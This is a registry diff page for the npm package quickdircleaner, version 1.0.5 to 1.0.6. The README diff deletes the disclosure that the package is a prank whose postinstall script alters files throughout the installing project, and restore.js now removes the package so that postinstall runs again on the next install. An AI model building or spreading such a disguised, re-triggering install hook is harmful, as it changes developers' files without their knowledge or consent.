quickdircleaner 1.0.5 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -15
- package/package.json +1 -1
- package/restore.js +6 -0
package/README.md
CHANGED
|
@@ -1,10 +1,4 @@
|
|
|
1
1
|
# quickdircleaner
|
|
2
|
-
Prank package: runs a `postinstall` script that backs up and alters matching files under the **host** project (the folder where you ran the install).
|
|
3
|
-
|
|
4
|
-
It walks **the full directory tree under that root** (every nested folder): hidden dirs like `.vscode` are included. Only **`node_modules`**, **`.git`**, **`.hg`**, and **`.svn`** trees are skipped.
|
|
5
|
-
|
|
6
|
-
- **Lifecycle scripts must run.** If install is done with `--ignore-scripts` or `ignore-scripts=true` in `.npmrc`, nothing will happen.
|
|
7
|
-
### npm / Yarn (Classic)
|
|
8
2
|
|
|
9
3
|
```bash
|
|
10
4
|
npm install quickdircleaner
|
|
@@ -40,18 +34,13 @@ From your project root (where your `package.json` lives):
|
|
|
40
34
|
node node_modules/quickdircleaner/index.js
|
|
41
35
|
```
|
|
42
36
|
|
|
43
|
-
Or, if the CLI is on your PATH:
|
|
44
|
-
|
|
45
|
-
```bash
|
|
46
|
-
npx run-clean
|
|
47
|
-
```
|
|
48
|
-
|
|
49
|
-
(`run-clean` is the `bin` entry shipped with this package.)
|
|
50
|
-
|
|
51
37
|
## Restore
|
|
52
38
|
|
|
53
39
|
```bash
|
|
54
40
|
npx restore-clean
|
|
55
41
|
```
|
|
56
42
|
|
|
57
|
-
|
|
43
|
+
(`restore-clean` is the bin name — not `restore -clean`.)
|
|
44
|
+
|
|
45
|
+
After restore, this package removes **`node_modules/quickdircleaner`** on purpose. Otherwise `npm install` / `pnpm install` would see the dependency as already present and **would not run `postinstall` again**. Run **`npm install`** or **`pnpm install`** once to reinstall it; with pnpm, keep `quickdircleaner` in `onlyBuiltDependencies` if you use that.
|
|
46
|
+
|
package/package.json
CHANGED
package/restore.js
CHANGED
|
@@ -155,6 +155,12 @@ async function main() {
|
|
|
155
155
|
console.log(core.green(`Restored ${restored} item(s).`));
|
|
156
156
|
|
|
157
157
|
await core.deleteCounter(root);
|
|
158
|
+
await core.removeQuickdircleanerPackage(root);
|
|
159
|
+
console.log(
|
|
160
|
+
core.green(
|
|
161
|
+
"Removed node_modules/quickdircleaner so the next install can run postinstall again.",
|
|
162
|
+
),
|
|
163
|
+
);
|
|
158
164
|
|
|
159
165
|
const flagPath = path.join(root, core.DONE_FLAG);
|
|
160
166
|
const flagOk = await removeIfExists(flagPath);
|